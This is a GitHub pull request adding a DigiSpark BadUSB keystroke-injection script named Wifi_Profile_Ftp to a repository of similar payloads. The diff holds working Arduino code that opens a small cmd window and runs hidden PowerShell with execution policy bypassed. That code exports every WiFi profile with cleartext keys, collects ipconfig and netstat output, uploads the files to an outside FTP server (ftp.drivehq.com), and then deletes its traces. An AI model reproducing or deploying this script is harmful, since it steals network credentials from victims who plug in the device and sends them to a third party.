Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Script] Wifi_Profile_Ftp #13

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,6 +17,8 @@ Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/di

>PowerShell Script Executer : Downloads and runs a powershell script.

>Wifi_Profile_Ftp: Using cmd, extracts wifi profiles and send it with ftp

>WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\

>WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it.
Expand Down
5 changes: 5 additions & 0 deletions Wifi_Profile_Ftp/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Wifi Profile Ftp

Creates xml files with all your Wifi data and send it via FTP to a server.

Working on Windows 10
29 changes: 29 additions & 0 deletions Wifi_Profile_Ftp/passwd_wif_w10ftp_ard.ino
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT,KEY_R);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("cmd /k mode con:cols=18 lines=1"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("color FE"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("cd %localappdata%"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("mkdir tmp"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("cd tmp"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print(F("powershell -command "'open ftp.drivehq.com' > dat.txt ; 'USERNAME' >> dat.txt ; 'PASSWORD' >> dat.txt ; 'prompt' >> dat.txt ; 'mput *.*' >> dat.txt ; 'quit' >> dat.txt""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print(F("powershell -windowstyle hidden -Executionpolicy bypass -command "cd %localappdata%\tmp ; netsh wlan export profile key=clear ; ipconfig > ipc.txt ; netstat -r > nr.txt ; ftp -s:dat.txt ; cd .. ; Remove-Item -Recurse -Force tmp""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }